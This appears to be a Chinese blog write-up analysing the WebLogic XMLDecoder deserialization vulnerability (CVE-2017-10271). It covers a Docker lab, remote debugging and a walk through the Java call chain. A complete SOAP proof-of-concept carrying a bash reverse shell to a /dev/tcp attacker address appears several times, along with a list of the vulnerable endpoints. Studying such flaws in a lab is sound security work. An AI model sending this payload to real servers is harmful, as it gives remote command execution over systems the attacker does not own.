XMLDecoder 反序列化漏洞
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
漏洞详情
WebLogic Server组件的WLS Security子组件存在安全漏洞。
环境搭建
教程
docker compose up
访问127.0.0.1:7001/console
进入weblogic配置界面
//docker进入其命令行
docker exec -it e4a4cd55816f559927dc9ab98ef9e7a2de44fee83c37d3c5b4db732eac3768d9 sh
docker exec -it 90559a88512a9922dedecc98a312cf8017d9795888aa553519cc1d7917c7ede5 /bin/sh
开启远程调试
修改容器:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 文件

修改docker yml配置文件,开放远程调试端口

docker容器重新启动一下,查看远程调试端口

docker cp命令保存源代码到本机
❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/wlserver_10.3 ../../../WebLogic_jars
❯ docker cp cve-2017-10271_weblogic_1:/root/Oracle/Middleware/modules ../../../WebLogic_jars
用idea打开刚才存到本机的文件夹
添加lib和modules两个文件夹为库
添加remote远程调试,注意修改端口为8453
debug测试

连接成功
使用poc测试反弹shell
poc:
漏洞地址:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
//post数据:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击机ip/端口 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

分析poc
知识点:
xml的解析。
堆与栈,java方法。
war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。
war包中的文件按照一定目录结构来组织。根据其根目录下包含有html和jsp文件,或者包含有这两种文件的目录,另外还有WEB-INF目录。通常在WEB-INF目录下含有一个web.xml文件和一个classes目录,web.xml是这个应用的配置文件,而classes目录下则包含编译好的servlet类和jsp,或者servlet所依赖的其他类(如JavaBean)。通常这些所依赖的类也可以打包成jar包放在WEB-INF下的lib目录下。
一个WAR文件就是一个Web应用程序
根据返回的xml信息分析方法调用

链分析
根据poc路径得到,wls-wsat出现漏洞,在源码中搜索的到war包,并且查看web.xml配置信息。
能在request的返回xml信息中得到(如上图,由下到上分别是调用栈顺序),就是在servlet中的类调用后。
- weblogic.wsee.jaxws.workcontext.WorkContextServerTube中调用的processRequest方法
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
//getMessage方法获得POST信息
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
//getHeaders()获取键值对 #推测
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
this.readHeader(var4);
}
}
return super.processRequest(var1);
}
调用链下一步是readHeaderOld方法,那么就是var3不为null,网上说var3是xml的头部解析,暂时就不深度去理解了,尝试过,看不懂
回头再继续一下处理后的数据:
var1:
com.sun.xml.ws.api.message.Packet@4286ae77 Content: <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.20.10.4/1 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
2. weblogic.wsee.jaxws.workcontext.WorkContextTube中调用的readHeaderOld方法
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
下一步调用receive方法,var6是被建立的WorkContextXmlInputAdapter示例。这个类内容如下:
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}
XMLDecoder将xml对象反序列化成map对象(Map,将键映射到值的对象)
而如果其xml内容包含可执行内容,在反序列化后会执行.
在readHeaderOld处理后:
var4:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/172.20.10.4/1 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
3. weblogic.wsee.jaxws.workcontext.WorkContextSeverTube中调用的receive方法
通过子类实现receive方法
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveRequest(var1);
}
从这里开始,变量跟踪无法使用了T-T
4. weblogic.workarea.WorkContextMaplmpl中调用的receiveRequest方法
接口类
void receiveRequest(WorkContextInput var1) throws IOException;
public void receiveRequest(WorkContextInput var1) throws IOException {
((WorkContextMapInterceptor)this.getMap()).receiveRequest(var1);
}
5. weblogic.workarea.WorkContextLocalMap中调用的receiveRequest方法
public void receiveRequest(WorkContextInput var1) throws IOException {
while(true) {
try {
WorkContextEntry var2 = WorkContextEntryImpl.readEntry(var1);
if (var2 == WorkContextEntry.NULL_CONTEXT) {
return;
}
String var3 = var2.getName();
this.map.put(var3, var2);
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest(" + var2.toString() + ")");
}
} catch (ClassNotFoundException var4) {
if (debugWorkContext.isDebugEnabled()) {
debugWorkContext.debug("receiveRequest : ", var4);
}
}
}
}
6. weblogic.workarea.spi.WorkContextEntryImpl中调用的readEntry方法
public static WorkContextEntry readEntry(WorkContextInput var0) throws IOException, ClassNotFoundException {
String var1 = var0.readUTF();
return (WorkContextEntry)(var1.length() == 0 ?NULL_CONTEXT: new WorkContextEntryImpl(var1, var0));
}
7. weblogic.wsee.workarea.WorkContextXmlInputAdapter中调用的readUTF方法
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}
整个链观察下来,确实没有对xml的数据进行任何过滤处理。
根本上是readObject()导致的反序列化触发rce漏洞
poc构成
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<cxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/攻击机ip/端口 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
外部就是一个简单的xml命名空间(被soap给骗了,和soap的Envelope不是一个东西)
Comments | NOTHING